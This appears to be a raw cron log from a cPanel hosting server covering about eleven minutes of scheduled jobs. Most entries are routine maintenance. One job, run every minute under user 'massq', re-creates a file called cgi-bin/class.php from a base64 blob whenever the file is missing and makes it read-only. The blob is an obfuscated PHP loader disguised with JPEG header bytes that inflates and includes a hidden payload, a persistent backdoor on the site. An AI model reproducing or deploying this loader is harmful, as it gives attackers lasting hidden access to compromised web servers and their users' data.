Aug 31 09:14:01 server CROND[13667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:14:01 server CROND[13666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:14:01 server CROND[13668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:15:01 server CROND[14098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:15:01 server CROND[14100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:15:01 server CROND[14103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:15:01 server CROND[14104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:15:01 server CROND[14107]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 09:15:01 server CROND[14102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:15:01 server CROND[14108]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:15:01 server CROND[14105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:16:01 server CROND[14985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:16:01 server CROND[14986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:16:01 server CROND[14988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:17:01 server CROND[15387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:17:01 server CROND[15388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:17:01 server CROND[15389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:18:01 server CROND[15881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:18:01 server CROND[15882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:18:01 server CROND[15883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:19:01 server CROND[16270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:19:01 server CROND[16271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:19:01 server CROND[16272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:20:01 server CROND[16658]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:20:01 server CROND[16659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:20:01 server CROND[16663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:20:01 server CROND[16664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:20:01 server CROND[16666]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 09:20:01 server CROND[16673]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:20:01 server CROND[16667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:20:01 server CROND[16665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:20:01 server CROND[16672]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:21:01 server CROND[17516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:21:01 server CROND[17517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:21:01 server CROND[17518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:22:01 server CROND[18184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:22:01 server CROND[18185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:22:01 server CROND[18186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:23:01 server CROND[18651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:23:01 server CROND[18652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:23:01 server CROND[18653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:24:01 server CROND[19014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:24:01 server CROND[19015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:24:01 server CROND[19016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:25:01 server CROND[19452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:25:01 server CROND[19453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:25:01 server CROND[19456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:25:01 server CROND[19457]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:25:01 server CROND[19455]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:25:01 server CROND[19459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:25:01 server CROND[19454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
